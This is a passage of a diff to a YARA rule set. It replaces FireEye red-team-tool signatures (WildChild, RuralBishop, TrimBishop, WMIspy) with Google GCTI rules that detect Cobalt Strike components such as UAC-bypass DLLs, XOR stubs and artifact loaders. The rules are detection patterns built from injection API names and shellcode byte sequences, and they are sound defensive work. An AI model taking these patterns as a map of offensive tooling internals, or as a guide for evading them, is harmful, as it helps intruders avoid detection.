+			83 C4 ??
+			[0-2]
+			6A 00
+			68 80 01 00 00
+			6A 02
+			6A 00
+			6A 05
+			68 00 00 00 40
+			5?
+			FF 15 [4]
+			8B ??
+			83 ?? FF
+			75 ??
+			FF 15 [4]
+			5?
+		}
+		$nfp = "npf.sys" nocase
+		$wpcap = "wpcap.dll" nocase
 
 	condition:
-		$script_header at 0 and all of ($s*)
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_MSIL_WILDCHILD_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Bind64_Bin_V2_5_Through_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "b9e0707e-98eb-55da-ad1d-6a84bd113747"
-		date = "2020-12-01"
-		date = "2020-12-01"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/APT_Loader_MSIL_WILDCHILD_1.yar#L4-L18"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "6f04a93753ae3ae043203437832363c4"
-		logic_hash = "a600c3d127f77dc1f99160e4a242e005970de0abd1798296b6a351b968ca1350"
+		description = "Cobalt Strike's resources/bind64.bin signature for versions v2.5 to v4.x"
+		author = "gssincla@google.com"
+		id = "a01e7bc3-40e9-5f87-8fd6-926972be273b"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bind64_Bin_v2_5_through_v4_x.yara#L17-L109"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "5dd136f5674f66363ea6463fd315e06690d6cb10e3cc516f2d378df63382955d"
+		logic_hash = "ba79abc5cfeaccb94699c0d85c16b2ddf6820bc148c0fd1c9b33c07222e36cb6"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$s1 = "\x00QueueUserAPC\x00"
-		$s2 = "\x00WriteProcessMemory\x00"
-		$sb1 = { 6F [2] 00 0A 28 [2] 00 0A 6F [2] 00 0A 13 ?? 28 [2] 00 0A 28 [2] 00 0A 13 ?? 11 ?? 11 ?? 28 [2] 00 0A [0-16] 7B [2] 00 04 1? 20 [4] 28 [2] 00 0A 11 ?? 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 [0-16] 14 7E [2] 00 0A 7E [2] 00 0A 1? 20 04 00 08 08 7E [2] 00 0A 14 12 ?? 12 ?? 28 [2] 00 06 [0-16] 7B [2] 00 04 7E [2] 00 0A [0-16] 8E ?? 7E [2] 00 04 7E [2] 00 04 28 [2] 00 06 [4-120] 28 [2] 00 06 [0-80] 6F [2] 00 0A 6F [2] 00 0A 28 [2] 00 06 13 ?? 11 ?? 11 ?? 7E [2] 00 0A 28 [2] 00 06 }
+		$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48
+		}
+		$calls = {
+			41 BA C2 DB 37 67
+			FF D5
+			48 [2]
+			48 [2]
+			41 BA B7 E9 38 FF
+			FF D5
+			4D [2]
+			48 [2]
+			48 [2]
+			41 BA 74 EC 3B E1
+			FF D5
+			48 [2]
+			48 [2]
+			41 BA 75 6E 4D 61
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		$apiLocator and $calls
 }
-rule FIREEYE_RT_Loader_MSIL_Wildchild_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Xor_Bin_V2_X_To_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the WildChild project."
-		author = "FireEye"
-		id = "350dd658-46c9-573b-b532-07e4b437ba8d"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WILDCHILD/production/yara/Loader_MSIL_WildChild_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "7e6bc0ed11c2532b2ae7060327457812"
-		logic_hash = "e4320e33770613542182518ec787e4ccbb32f83c8afca5ec957d4846e6f4eb04"
+		description = "Cobalt Strike's resource/xor.bin signature for version 2.x through 4.x"
+		author = "gssincla@google.com"
+		id = "1754746c-3a42-5f7d-808a-ba2e1c0a270e"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Xor_Bin__32bit_v2_x_to_4_x.yara#L17-L36"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "211ccc5d28b480760ec997ed88ab2fbc5c19420a3d34c1df7991e65642638a6f"
+		logic_hash = "ad662a263ede6c3ba964baf8abe4848ed1e994f2c236d4315cb60c1d51442620"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 4
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid1 = "2e71d5ff-ece4-4006-9e98-37bb724a7780" ascii nocase wide
+		$stub52 = {fc e8 ?? ?? ?? ?? [1-32] eb 27 5? 8b ??    83 c? ?4 8b ??    31 ?? 83 c? ?4 5? 8b ??    31 ?? 89 ??    31 ?? 83 c? ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb ea 5? ff e? e8 d4 ff ff ff}
+		$stub56 = {fc e8 ?? ?? ?? ?? [1-32] eb 2b 5d 8b ?? ?? 83 c5 ?4 8b ?? ?? 31 ?? 83 c5 ?4 55 8b ?? ?? 31 ?? 89 ?? ?? 31 ?? 83 c5 ?4 83 e? ?4 31 ?? 39 ?? 74 ?2 eb e8 5? ff e? e8 d? ff ff ff}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		any of them
 }
-rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Bypassuactoken_Dll_V3_11_To_V3_14
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "1b5f1f39-9fa2-5940-8da3-03808e4b7a5d"
-		date = "2020-12-03"
-		date = "2020-12-03"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_1.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e91670423930cbbd3dbf5eac1f1a7cb6"
-		logic_hash = "f2244c6761639c1162a77a5e82296903c3cc21fbf46d262c779c5e4d6a2ef937"
+		description = "Cobalt Strike's resources/bypassuactoken.dll from v3.11 to v3.14 (32-bit version)"
+		author = "gssincla@google.com"
+		id = "b9f25fa5-bd1d-5ba0-9b1d-bb97e1dbf76b"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_Dll_v3_11_to_v3_14.yara#L17-L151"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "df1c7256dfd78506e38c64c54c0645b6a56fc56b2ffad8c553b0f770c5683070"
+		logic_hash = "fe0780b7f4c16b55cfa00ea7de4da8ce349ec8a72de763b72e816ebc8e934b6d"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
-		$sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
-		$ss1 = "\x00NtMapViewOfSection\x00"
-		$ss2 = "\x00NtOpenProcess\x00"
-		$ss3 = "\x00NtAlertResumeThread\x00"
-		$ss4 = "\x00LdrGetProcedureAddress\x00"
-		$tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
+		$isHighIntegrityProcess = {
+			5?
+			5?
+			5?
+			8B ??
+			6A 19
+			5?
+			FF 15 [4]
+			85 C0
+			75 ??
+			FF 15 [4]
+			83 ?? 7A
+			75 ??
+			FF [2]
+			5?
+			FF 15 [4]
+			8B ??
+			8D [2]
+			5?
+			FF [2]
+			5?
+			6A 19
+			5?
+			FF 15 [4]
+			85 C0
+			74 ??
+			FF ??
+			FF 15 [4]
+			8A ??
+			FE C8
+			0F B6 C0
+			5?
+			FF ??
+			FF 15 [4]
+			B? 01 00 00 00
+			5?
+			81 ?? 00 30 00 00
+		}
+		$executeTaskmgr = {
+			6A 3C
+			8D ?? C4
+			8B ??
+			6A 00
+			5?
+			8B ??
+			E8 [4]
+			83 C4 0C
+			C7 [2] 3C 00 00 00
+			8D [2]
+			C7 [2] 40 00 00 00
+			C7 [6]
+			C7 [2] 00 00 00 00
+			5?
+			C7 [2] 00 00 00 00
+			C7 [6]
+			C7 [2] 00 00 00 00
+			FF 15 [4]
+			FF 75 FC
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and (@sb1[1]<@sb2[1]) and ( all of ($ss*)) and ( all of ($tb*))
+		all of them
 }
-rule FIREEYE_RT_Loader_MSIL_RURALBISHOP_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Bypassuac_Dll_V1_49_To_V3_14_And_Sleeve_Bypassuac_Dll_V4_0_To_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "3befb3f2-81d1-5db2-84d9-773158b9837c"
-		date = "2020-12-03"
-		date = "2020-12-03"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/new/yara/Loader_MSIL_RURALBISHOP_2.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e91670423930cbbd3dbf5eac1f1a7cb6"
-		logic_hash = "0467532d643cf0200c6561b0724c884230892bf59db163c311b7d4f8acbb63d6"
+		description = "Cobalt Strike's resources/bypassuac(-x86).dll from v1.49 to v3.14 (32-bit version) and sleeve/bypassuac.dll from v4.0 to at least v4.4"
+		author = "gssincla@google.com"
+		id = "614046b5-cf81-56a5-8824-b3a7e14a8ed5"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_Dll_v1_49_to_v3_14_and_Sleeve_Bypassuac_Dll_v4_0_to_v4_x.yara#L17-L94"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "91d12e1d09a642feedee5da966e1c15a2c5aea90c79ac796e267053e466df365"
+		logic_hash = "7d59c0286f1936e386519a919472d01581b68a8167c89bd3cd3108d45251119a"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$ss1 = "\x00NtMapViewOfSection\x00"
-		$ss2 = "\x00NtOpenProcess\x00"
-		$ss3 = "\x00NtAlertResumeThread\x00"
-		$ss4 = "\x00LdrGetProcedureAddress\x00"
-		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
-		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
-		$tb1 = "\x00SharpSploit.Execution.DynamicInvoke\x00"
+		$deleteFileCOM = {
+			A1 [4]
+			6A 00
+			8B ??
+			5?
+			5?
+			FF ?? 48
+			85 ??
+			75 ??
+			A1 [4]
+			5?
+			8B ??
+			FF ?? 54
+		}
+		$copyFileCOM = {
+			A1 [4]
+			6A 00
+			FF [2]
+			8B ??
+			FF [5]
+			FF [5]
+			5?
+			FF ?? 40
+			85 ??
+			[2 - 6]
+			A1 [4]
+			5?
+			8B ??
+			FF ?? 54
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		all of them
 }
-rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Elevate_Dll_V3_0_To_V3_14_And_Sleeve_Elevate_Dll_V4_X
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "1a3f4247-25f4-51ca-b881-209c0753b915"
-		date = "2020-12-03"
-		date = "2020-12-03"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_1.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "e91670423930cbbd3dbf5eac1f1a7cb6"
-		logic_hash = "f020efff58c8b7761d700c662c422a9e1ffdf8fe5f6648e421b7c257e3b8d078"
+		description = "Cobalt Strike's resources/elevate.dll signature for v3.0 to v3.14 and sleeve/elevate.dll for v4.x"
+		author = "gssincla@google.com"
+		id = "170f62a2-ba4f-5be8-9ec5-402eb7bbde4e"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Elevate_Dll_v3_0_to_v3_14_and_Sleeve_Elevate_Dll_v4_x.yara#L17-L68"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "6deeb2cafe9eeefe5fc5077e63cc08310f895e9d5d492c88c4e567323077aa2f"
+		logic_hash = "766a0a390ed8cefe43d82a054a9b2cfec7eced75e0d7ee10231215043577b75e"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$sb1 = { 28 [2] 00 06 0A 06 7B [2] 00 04 [12-64] 06 7B [2] 00 04 6E 28 [2] 00 06 0B 07 7B [2] 00 04 [12-64] 0? 7B [2] 00 04 0? 7B [2] 00 04 0? 7B [2] 00 04 6E 28 [2] 00 06 0? 0? 7B [2] 00 04 [12-80] 0? 7B [2] 00 04 1? 0? 7B [2] 00 04 }
-		$sb2 = { 0F ?? 7C [2] 00 04 28 [2] 00 0A 8C [2] 00 01 [20-80] 28 [2] 00 06 0? 0? 7E [2] 00 0A 28 [2] 00 0A [12-80] 7E [2] 00 0A 13 ?? 0? 7B [2] 00 04 28 [2] 00 0A 0? 28 [2] 00 0A 58 28 [2] 00 0A 13 [1-32] 28 [2] 00 0A [0-32] D0 [2] 00 02 28 [2] 00 0A 28 [2] 00 0A 74 [2] 00 02 }
-		$ss1 = "\x00NtMapViewOfSection\x00"
-		$ss2 = "\x00NtOpenProcess\x00"
-		$ss3 = "\x00NtAlertResumeThread\x00"
-		$ss4 = "\x00LdrGetProcedureAddress\x00"
-		$tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
+		$wnd_proc = {
+			6A 00
+			6A 28
+			68 00 01 00 00
+			5?
+			C7 [5] 01 00 00 00
+			FF ??
+			6A 00
+			6A 27
+			68 00 01 00 00
+			5?
+			FF ??
+			6A 00
+			6A 00
+			68 01 02 00 00
+			5?
+			FF ??
+		}
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and (@sb1[1]<@sb2[1]) and ( all of ($ss*)) and ( all of ($tb*))
+		$wnd_proc
 }
-rule FIREEYE_RT_APT_Loader_MSIL_TRIMBISHOP_2 : FILE
+rule GCTI_Cobaltstrike_Resources_Artifact64_V1_49_V2_X_V3_0_V3_3_Thru_V3_14
 {
 	meta:
-		description = "No description has been set in the source file - FireEye-RT"
-		author = "FireEye"
-		id = "90ee2569-2e68-517b-b2d7-8c4015d92683"
-		date = "2020-12-03"
-		date = "2020-12-03"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/APT_Loader_MSIL_TRIMBISHOP_2.yar#L4-L22"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "c0598321d4ad4cf1219cc4f84bad4094"
-		logic_hash = "4cccfca0c06954105f762066741b6c35599a6c28df8b7c255a2659059169578f"
+		description = "Cobalt Strike's resources/artifact64{.dll,.exe,big.exe,big.dll,bigsvc.exe,big.x64.dll} and resources/rtifactuac(alt)64.dll signature for versions v1.49, v2.x, v3.0, and v3.3 through v3.14"
+		author = "gssincla@google.com"
+		id = "67902782-500e-5a89-8b2a-59ee21bcba3e"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L17-L54"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "9ec57d306764517b5956b49d34a3a87d4a6b26a2bb3d0fdb993d055e0cc9920d"
+		logic_hash = "289950e89fc743ff4a1b7dcb91c561c7d829cfe3ade1c2f1a09f2e9701cce461"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		rev = 1
+		quality = 85
+		tags = ""
 
 	strings:
-		$ss1 = "\x00NtMapViewOfSection\x00"
-		$ss2 = "\x00NtOpenProcess\x00"
-		$ss3 = "\x00NtAlertResumeThread\x00"
-		$ss4 = "\x00LdrGetProcedureAddress\x00"
-		$ss5 = "\x2f(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00i\x00|\x00I\x00n\x00j\x00e\x00c\x00t\x00)\x00$\x00"
-		$ss6 = "\x2d(\x00?\x00i\x00)\x00(\x00-\x00|\x00-\x00-\x00|\x00/\x00)\x00(\x00c\x00|\x00C\x00l\x00e\x00a\x00n\x00)\x00$\x00"
-		$tb1 = "\x00DTrim.Execution.DynamicInvoke\x00"
+		$a = { 8B [2] 48 98 48 [2] 48 [3] 8B [2] 48 98 48 [3] 44 [3] 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 48 98 48 [3] 0F B6 00 44 [2] 88 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and all of them
+		$a
 }
-rule FIREEYE_RT_Loader_MSIL_Trimbishop_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Artifact64_V3_1_V3_2_V3_14_And_V4_0
 {
 	meta:
-		description = "This rule looks for .NET PE files that have the string 'msg' more than 60 times as well as numerous function names unique to or used by the TrimBishop tool. All strings found in RuralBishop are reversed in TrimBishop and stored in a variable with the format 'msg##'. With the exception of 'msg', 'DTrim', and 'ReverseString' the other strings referenced in this rule may be shared with RuralBishop."
-		author = "FireEye"
-		id = "4d58f0a2-bf16-584c-8e92-c8ef54427767"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_TrimBishop_1.yar#L4-L26"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "09bdbad8358b04994e2c04bb26a160ef"
-		logic_hash = "018e87542301db22c384fda2709e8d49711c0fa041d1ef591f98ee7a70dbb677"
+		description = "Cobalt Strike's resources/artifact64{svcbig.exe,.dll,big.dll,svc.exe} and resources/artifactuac(big)64.dll signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x"
+		author = "gssincla@google.com"
+		id = "c9e9b8e0-16fe-5abc-b1fe-0e3e586f6db6"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L56-L84"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "2e7a39bd6ac270f8f548855b97c4cef2c2ce7f54c54dd4d1aa0efabeecf3ba90"
+		logic_hash = "e5af04baa1d18d5a2a2c005b40bf93fe6a7b2d7116dfcf3c5b3fa36657448eb9"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$msg = "msg" ascii wide
-		$msil = "_CorExeMain" ascii wide
-		$str1 = "RuralBishop" ascii wide
-		$str2 = "KnightKingside" ascii wide
-		$str3 = "ReadShellcode" ascii wide
-		$str4 = "ReverseString" ascii wide
-		$str5 = "DTrim" ascii wide
-		$str6 = "QueensGambit" ascii wide
-		$str7 = "Messages" ascii wide
-		$str8 = "NtQueueApcThread" ascii wide
-		$str9 = "NtAlertResumeThread" ascii wide
-		$str10 = "NtQueryInformationThread" ascii wide
+		$decoderFunction = { 31 ?? EB 0F 41 [2] 03 47 [3] 44 [3] 48 [2] 39 ?? 41 [2] 7C EA 4C [6] E9 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $msil and #msg>60 and all of ($str*)
+		$decoderFunction
 }
-rule FIREEYE_RT_Loader_MSIL_Ruralbishop_3 : FILE
+rule GCTI_Cobaltstrike_Resources_Artifact64_V3_14_To_V4_X
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project."
-		author = "FireEye"
-		id = "55a060ef-74e2-50d9-9090-558aaa04d97d"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TRIMBISHOP/production/yara/Loader_MSIL_RuralBishop_3.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "09bdbad8358b04994e2c04bb26a160ef"
-		logic_hash = "a4c55dede432c249e36e96ca09555448b0343969d389bfdb4bd459fe34e05ea1"
+		description = "Cobalt Strike's resources/artifact64{.exe,.dll,svc.exe,svcbig.exe,big.exe,big.dll,.x64.dll,big.x64.dll} and resource/artifactuac(alt)64.exe signature for versions v3.14 through v4.x"
+		author = "gssincla@google.com"
+		id = "1c7731d3-429b-57aa-9c17-8de7d0841b1e"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact64_v1_49_to_v4_x.yara#L86-L128"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "decfcca0018f2cec4a200ea057c804bb357300a67c6393b097d52881527b1c44"
+		logic_hash = "af8ba6ba62bf1179510b0940e60f893f61b3ba10c81001dd90fe4c3521e56a37"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		rev = 3
+		quality = 85
+		tags = ""
 
 	strings:
-		$typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide
+		$fmtBuilder = {
+			41 ?? 5C 00 00 00
+			C7 [3] 5C 00 00 00
+			C7 [3] 65 00 00 00
+			C7 [3] 70 00 00 00
+			C7 [3] 69 00 00 00
+			C7 [3] 70 00 00 00
+			C7 [3] 5C 00 00 00
+			C7 [3] 2E 00 00 00
+			89 [3]
+			48 [6]
+			E8
+		}
+		$fmtString = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $typelibguid1
+		all of them
 }
-rule FIREEYE_RT_Hacktool_MSIL_Wmispy_1 : FILE
+rule GCTI_Cobaltstrike_Resources_Bypassuactoken_X64_Dll_V3_11_To_V3_14
 {
 	meta:
-		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WMIspy' project."
-		author = "FireEye"
-		id = "ac394751-da40-564b-8e24-8f353326b46a"
-		date = "2020-12-09"
-		modified = "2020-12-09"
-		reference = "https://github.com/mandiant/red_team_tool_countermeasures/"
-		source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/WMISPY/production/yara/HackTool_MSIL_WMIspy_1.yar#L4-L15"
-		license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt"
-		hash = "dd8805d0e470e59b829d98397507d8c2"
-		logic_hash = "a5a9f7c7a7bfe474e8b21306ea220b4d476832f3ad4fafdd8967a2250d15a701"
+		description = "Cobalt Strike's resources/bypassuactoken.x64.dll from v3.11 to v3.14 (64-bit version)"
+		author = "gssincla@google.com"
+		id = "c89befcd-a622-5947-9ce3-a6031901a45a"
+		date = "2022-11-18"
+		modified = "2022-11-19"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_x64_Dll_v3_11_to_v3_14.yara#L17-L118"
+		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
+		hash = "853068822bbc6b1305b2a9780cf1034f5d9d7127001351a6917f9dbb42f30d67"
+		logic_hash = "adfd212f2e470f666ab8a2168e976c11d3032c31dab7cf56963dae5fc0f6c5f9"
 		score = 75
-		quality = 73
